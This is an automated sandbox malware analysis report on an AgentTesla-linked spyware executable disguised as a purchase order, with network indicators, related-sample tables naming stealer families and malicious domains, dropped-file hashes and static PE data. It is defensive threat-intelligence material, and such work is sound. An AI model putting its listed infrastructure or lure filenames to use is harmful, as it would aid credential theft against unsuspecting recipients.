82.137.245.31	unknown	Syrian Arab Republic	29256	INT-PDN-STE-ASSTEPDNInternalASSY	false
193.124.189.13	unknown	Russian Federation	35196	IHOR-ASRU	false
177.67.136.241	unknown	Brazil	52663	TurboBSBTecnologiasemRedeLtdaBR	false
51.15.139.15	unknown	France	12876	OnlineSASFR	false
181.78.11.217	unknown	Argentina	52468	UFINETPANAMASAPA	false
194.44.177.225	unknown	Ukraine	3255	UARNET-ASUARNetUA	false
94.154.152.9	unknown	Albania	209842	CYBEXEREE	false
89.168.121.175	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
181.78.11.218	unknown	Argentina	52468	UFINETPANAMASAPA	false
139.224.64.191	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
94.154.152.4	unknown	Albania	209842	CYBEXEREE	false
41.155.190.214	unknown	Egypt	37069	MOBINILEG	false
13.234.24.116	unknown	United States	16509	AMAZON-02US	false
180.178.104.110	unknown	Indonesia	38758	HYPERNET-AS-IDPTHIPERNETINDODATAID	false
31.43.63.70	unknown	Ukraine	50581	UTGUA	false
103.4.118.130	unknown	Bangladesh	38203	ADNTELECOMLTD-BDADNTelecomLtdBD	false
103.74.229.133	unknown	Bangladesh	131340	TAQWAIT-AS-APMdMozammelHoquetaTaqwaITBD	false
52.35.240.119	unknown	United States	16509	AMAZON-02US	false
103.25.210.102	unknown	Indonesia	132653	B-LINK-AS-IDPTTransdataSejahteraID	false
101.51.121.29	unknown	Thailand	23969	TOT-NETTOTPublicCompanyLimitedTH	false
146.19.106.42	unknown	France	7726	FITC-ASUS	false
51.81.89.146	unknown	United States	16276	OVHFR	false
46.17.63.166	unknown	United Kingdom	39326	HSO-GROUPGB	false
114.129.2.82	unknown	Japan	7671	MCNETNTTSmartConnectCorporationJP	false
62.171.131.101	unknown	United Kingdom	51167	CONTABODE	true
216.74.255.182	unknown	United States	11215	LOGIXCOMM-ASUS	false
103.220.205.162	unknown	Bangladesh	59362	KSNETWORK-AS-APKSNetworkLimitedBD	false
38.127.172.219	unknown	United States	174	COGENT-174US	false
14.161.17.4	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
183.164.254.8	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
103.47.93.252	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
194.9.80.1	unknown	unknown	206495	IR-SADRA-20180529IR	false
212.110.188.222	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
148.135.119.4	unknown	Sweden	158	ERI-ASUS	false
202.162.105.202	unknown	Singapore	64050	BCPL-SGBGPNETGlobalASNSG	false
67.205.177.122	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
212.110.188.220	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
14.232.160.247	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
185.215.53.241	unknown	Armenia	205368	FNETAM	false
67.213.210.115	unknown	United States	32780	HOSTINGSERVICES-INCUS	false
67.213.210.118	unknown	United States	32780	HOSTINGSERVICES-INCUS	true
172.67.200.220	unknown	United States	13335	CLOUDFLARENETUS	false
38.253.88.242	unknown	United States	174	COGENT-174US	false
13.59.156.167	unknown	United States	16509	AMAZON-02US	false
34.176.113.148	unknown	United States	2686	ATGS-MMD-ASUS	false
212.110.188.216	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
103.47.93.242	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
212.110.188.211	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
103.47.93.236	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
101.95.182.26	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
212.110.188.213	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
35.207.123.94	unknown	United States	19527	GOOGLE-2US	false
183.215.23.242	unknown	China	56047	CMNET-HUNAN-APChinaMobilecommunicationscorporationCN	false
103.189.96.98	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
103.153.63.211	unknown	unknown	134687	TWIDC-AS-APTWIDCLimitedHK	false
96.80.235.1	unknown	United States	7922	COMCAST-7922US	false
129.18.164.130	unknown	Nigeria	36923	SWIFTNG-ASNNG	false
148.72.23.56	unknown	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
188.40.44.95	unknown	Germany	24940	HETZNER-ASDE	false
103.99.27.26	unknown	unknown	136920	GARDAMORLDA-AS-APGardamorLdaTL	false
188.163.170.130	unknown	Ukraine	15895	KSNET-ASUA	false
81.250.223.126	unknown	France	3215	FranceTelecom-OrangeFR	false
218.252.244.126	unknown	Hong Kong	9908	HKCABLE2-HK-APHKCableTVLtdHK	false
191.101.1.116	unknown	Chile	61317	ASDETUKhttpwwwheficedcomGB	false
94.131.14.66	unknown	Ukraine	29632	NASSIST-ASGI	false
103.47.93.231	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
212.110.188.207	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
103.47.93.225	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
118.173.230.19	unknown	Thailand	23969	TOT-NETTOTPublicCompanyLimitedTH	false
51.15.139.59	unknown	France	12876	OnlineSASFR	false
104.17.9.114	unknown	United States	13335	CLOUDFLARENETUS	false
121.129.47.25	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
45.235.16.121	unknown	Brazil	267406	AGOBrasilInternetLtdaBR	false
112.78.161.191	unknown	Indonesia	17451	BIZNET-AS-APBIZNETNETWORKSID	false
200.174.198.95	unknown	Brazil	4230	CLAROSABR	false
20.33.5.27	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
45.224.247.102	unknown	Brazil	266925	UPIXNETWORKSBR	false
45.190.78.50	unknown	unknown	269702	CAMPINETINTERNETVIARADIOEIRELIBR	false
103.47.93.221	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
103.47.93.220	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
185.36.191.240	unknown	Ukraine	42159	DELTAHOST-ASUA	false
103.216.49.233	unknown	Cambodia	135375	TCC-AS-APTodayCommunicationCoLtdKH	false
180.104.0.161	unknown	China	137702	CHINATELECOM-JIANGSU-NANJING-IDCNanjingJiangsuProvince	false
172.67.181.9	unknown	United States	13335	CLOUDFLARENETUS	false
14.143.172.238	unknown	India	4755	TATACOMM-ASTATACommunicationsformerlyVSNLisLeadingISP	false
103.47.93.219	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
104.236.0.129	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
38.127.179.100	unknown	United States	174	COGENT-174US	false
103.47.93.216	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
185.167.59.215	unknown	Moldova Republic of	43783	CAGHETPLUS-ASMoldtelecomMD	false
14.232.235.13	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1406751
Start date and time:	2024-03-11 16:38:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO-065-01-2024E-2.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/4@7/100
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 68 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.1.234.136, 23.1.234.146
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: PO-065-01-2024E-2.exe

Simulations

Behavior and APIs

Time	Type	Description
16:39:41	API Interceptor	79x Sleep call for process: PO-065-01-2024E-2.exe modified
16:39:58	API Interceptor	2x Sleep call for process: CasPol.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
93.171.243.253	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
212.110.188.202	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	PAYMENT.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	PO23656PDFF.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	dl7WL77rkA.exe	Get hash	malicious	Glupteba, Mars Stealer, Stealc, Vidar	Browse	artemis-rat.comartemis-rat.com:443
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	Customer's Requirements and Pricing Details.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	HtfOQz42tN.exe	Get hash	malicious	Unknown	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	3011574829.exe	Get hash	malicious	Unknown	Browse	artemis-rat.comartemis-rat.com:443
	75C8OqdJUQ.exe	Get hash	malicious	Unknown	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	Urgent Quotation required .exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
24.230.33.96	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse
	OUTSTANDING PO.exe	Get hash	malicious	FormBook	Browse
	ENQUIRY FOR QUOTATION.exe	Get hash	malicious	AgentTesla	Browse
	PAYMENT.exe	Get hash	malicious	AgentTesla	Browse
	Urgent request for a quote.exe	Get hash	malicious	AgentTesla	Browse
	Your file name without extension goes here.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	kG1Tx7fx4AwIo7C.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Orden de compra.pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	00920240311.pif.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	ZoominstallerFull.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	208.95.112.1
	Cerere de cotatie.xla.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	emeairocean2024.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	ENQUIRY FOR QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	SOA.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	ungziped_file.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	208.95.112.1
	Your file name without extension goes here.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
ktxcomay.com.vn	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	222.255.238.159
	OUTSTANDING PO.exe	Get hash	malicious	FormBook	Browse	222.255.238.159
	ENQUIRY FOR QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	PAYMENT.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	Urgent request for a quote.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	Your file name without extension goes here.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
www.avis.com.hn	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	104.21.84.251
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	172.67.199.231
	reimainternatio.exe	Get hash	malicious	FormBook	Browse	104.21.84.251
	cJVeMuYr6y.exe	Get hash	malicious	Unknown	Browse	104.21.84.251
github.com	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	140.82.113.4
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse	140.82.113.3
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	140.82.112.3
	OUTSTANDING PO.exe	Get hash	malicious	FormBook	Browse	140.82.114.4
	rustdesk-1.2.4-x86_64 ITSUR.exe	Get hash	malicious	BazaLoader	Browse	140.82.114.3
	ENQUIRY FOR QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	140.82.113.4
	PAYMENT.exe	Get hash	malicious	AgentTesla	Browse	140.82.112.4
	rustdesk-1.2.4-x86_64 ITSUR.exe	Get hash	malicious	BazaLoader	Browse	140.82.112.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BYTEMARK-ASGB	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	212.110.188.207
	OUTSTANDING PO.exe	Get hash	malicious	FormBook	Browse	212.110.188.207
	ENQUIRY FOR QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	PAYMENT.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	Urgent request for a quote.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	Your file name without extension goes here.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
OVDC-ASUA	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	DHL DETAILS.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	https://waltondev2.com/c.php	Get hash	malicious	Phisher	Browse	93.171.243.253
	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	PO #1131011152-2024-Order,pdf.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	SecuriteInfo.com.Win64.ExploitX-gen.17969.12173.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
MIDCO-NETUS	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	24.230.33.96
	OUTSTANDING PO.exe	Get hash	malicious	FormBook	Browse	24.230.33.96
	ENQUIRY FOR QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	PAYMENT.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	Urgent request for a quote.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
	Your file name without extension goes here.exe	Get hash	malicious	AgentTesla	Browse	24.230.33.96
LILLY-ASUS	General Specifications - INVACO PVT.exe	Get hash	malicious	FormBook	Browse	43.132.235.125
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	43.128.107.251
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	43.128.107.251
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse	43.128.107.251
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse	43.128.107.251
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	43.128.107.251
	OUTSTANDING PO.exe	Get hash	malicious	FormBook	Browse	43.128.107.251
	ENQUIRY FOR QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	43.128.107.251
	PAYMENT.exe	Get hash	malicious	AgentTesla	Browse	43.128.107.251
	Urgent request for a quote.exe	Get hash	malicious	AgentTesla	Browse	43.128.107.251

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	kG1Tx7fx4AwIo7C.exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	ekstre_pdf.exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	https://ramandan.blob.core.windows.net/ramandan/1.html#15/117-4966/926-74892-11463-	Get hash	malicious	Phisher	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	ORDER-240321007.exe	Get hash	malicious	GuLoader	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	qO7JURaOlaa6Jav.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	ZoominstallerFull.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3 172.67.190.93 222.255.238.159
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3 172.67.190.93 222.255.238.159

Process:	C:\Users\user\Desktop\PO-065-01-2024E-2.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 69211 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	69211
Entropy (8bit):	7.995787876711886
Encrypted:	true
SSDEEP:	1536:4vHkVfDISE//aDY0WAXTF+0daIpyFQaqPZkatNjgkFOE4/JZZWnEn6:4vHKfMSeKFXdBcmnXkksE40E6
MD5:	753DF6889FD7410A2E9FE333DA83A429
SHA1:	3C425F16E8267186061DD48AC1C77C122962456E
SHA-256:	B42DC237E44CBC9A43400E7D3F9CBD406DBDEFD62BFE87328F8663897D69DF78
SHA-512:	9D56F79410AD0CF852C74C3EF9454E7AE86E80BDD6FF67773994B48CCAC71142BCF5C90635DA6A056E1406E81E64674DB9584928E867C55B77B59E2851CF6444
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF....[.......,...................I..................WR. .authroot.stl..L...5..CK..<Tk...p.k:.]...k..-.o.d.}.N.F....!.....$t)K."..DE.....v..gr...}?>.<.s..<...{.t..\F.e.F...8&.<..>...t8....`dqM4.y..t8..t..3..1.`\.:+.<].F...3.~.M.B.....J....PR.+..UUUV.GY...8...._vl.....H}.s.Pq..r.<.0.lG.C..e(..oe........9..'8..m.......G8T......sR..&=.J....s.U......#...).j...x.....gq.+.N:.Wj...V.t...(J.;^..Mr~e..}.q....q....eo..O.....@.B.S.....66.\|!.(.........D!k..&.. /.....H~.....}.(..\|.S..~8..A..(.#..w.Y.....'.F...y&.8......f..49r..N...(zX.0;.....000.3c)Z.v.5N'.z...rNFw,E.NY..#ua.o.$..Y?.-.=....}d...]......x_<.W....ya.3.a..SQT.U..\|!.pyCA..-h..Y..>n......^.U.....H...EY.\.......}.-(....h..=xiV.O.W@p.=.r.i..c...c....S.x.;..GWf...=.:.....S.c/..v..3.iG<.&..%...8..=}.....+.n\?0"A.Y%<......+..O. .9..#..>.....5.2.j.1<.Z.>v..j...wr.i.:....!...;.N[.q..z9j..l.R.&,....$.V...k.j..Tc..m..D!%....".Y.#V."w.\|....L\| ..p........w.=..ck...<........{s..w..};../.=...k....YH.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\Desktop\PO-065-01-2024E-2.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.128570787982141
Encrypted:	false
SSDEEP:	6:kKiMlTN+SkQlPlEGYRMY9z+4KlDA3RUe1HEbpo:aMl8kPlE99SNxAhUe1HEVo
MD5:	C7C3C61201239E06C53FA03BED3760A9
SHA1:	7793ED670199A121481592B17BBBAB3275162C53
SHA-256:	9C56612A6E1D60249CA63D215E2A2A62077CD51D3EEFE19CB2141FFA36F0E21B
SHA-512:	E11EB14325DD1ACF0D584AAFA12A5F3F34A692BA965F136D73E4DAF53AD5A615372A74A0C10B7F81A40D6D43B7D47F1B4332B37B5CBBFFCCDCBA5F9A7E546A48
Malicious:	false
Reputation:	low
Preview:	p...... ........GH..s..(....................................................... .........;.i......(...........[...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".2.c.8.3.b.1.3.b.a.f.6.9.d.a.1.:.0."...

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.295983641334549
Encrypted:	false
SSDEEP:	6144:L41fWRYkg7Di2vXoy00lWZgiWaaKxC44Q0NbuDs+CjwmBMZJh1Vj+:k1/YCW2AoQ0Ni8wwMHrVi
MD5:	382AE8BD8F53769E9066DE4C60011DA2
SHA1:	B8287CCF7CB133E1BBC1854896FE86C685394483
SHA-256:	4E97D20545070665C4A1BDF00D81E1CD2A7867E4032DC839A4AEA80BA1B6D6A2
SHA-512:	2D4E716425FA20C282932EA53E7E65B8D1CED14040DE38B3FDA6AE9508957370F214AB9B996C014C6C5A4D2F3E16A8AE9290628F253F53F7F36690987F8781BF
Malicious:	false
Reputation:	low
Preview:	regfG...F....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmf.^.s.................................................................................................................................................................................................................................................................................................................................................j........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1646592
Entropy (8bit):	4.606874306707028
Encrypted:	false
SSDEEP:	6144:g41fWRYkg7Di2vXoy00lWZginaaKxC4TQ0NbuDs+VjzmBMZJh1Vj+:91/YCW2rDQ0NiTzwMHrVi
MD5:	F9410A49DCF222A2014B579C741E0DB0
SHA1:	BC5468B66E4A661D4C1E2AA468840ABE519DF358
SHA-256:	E7E5005B984F5DC919B647903AF4D211FEE865C3CE2D6FCC43F86A5FB54CEB67
SHA-512:	D5DA41FFABC6D6E0E5FC6F0FA20240C7BE78631796B4632551CF9C383C0AF181F05F9F9855880B366E83DF0FF383FE531D452B380439D792436C845501790908
Malicious:	false
Reputation:	low
Preview:	regfF...F....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmf.^.s.................................................................................................................................................................................................................................................................................................................................................jHvLE........F....`.......J.).......1.......0...@...@...............@.......p..hbin.................\.Z............nk,..\.Z....................h...................................<.......&...{11517B7C-E79D-4e20-961B-75A811715ADD}..`...sk......................\...l.............H.........?...................?...................?........... ... ........... ... ...................$.N..........vk..4...`...........CreatingCommand.....O.n.e.D.r.i.v.e.S.e.t.u.p...e.x.e. ./.s.i.l.e.n.t...

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.280934285773681
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	PO-065-01-2024E-2.exe
File size:	34'816 bytes
MD5:	ee63acfdf27065e435d5f8379e54f929
SHA1:	7a286fca3c1a70da8de4de58f66d98d95da7c57f
SHA256:	578670ed39942f595787407e026566e2156c46caf72a02c433b558c6d5218278
SHA512:	d253b0b7d91e6558831bb632073444a09b34f12935ca53a70ff2836d3c85e6a19db216aa2f1fb089e2a2b97319520d6adaa877841364e033a049e54bcc10b90e
SSDEEP:	768:wbvi3REN5LNa4sR3hVqfUKPbEjwN8tNNSxFXdZ:wbvWaN1Na7/KTbEjC0mFf
TLSH:	44F24C29EBAC423BD97F4278C8E200C17A35E35233D2AE6F588751468D47B9635F1E8D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....8............"...0..~............... ....@...... ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x97BE3889 [Sat Sep 3 13:52:09 2050 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0x5b6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9e00	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
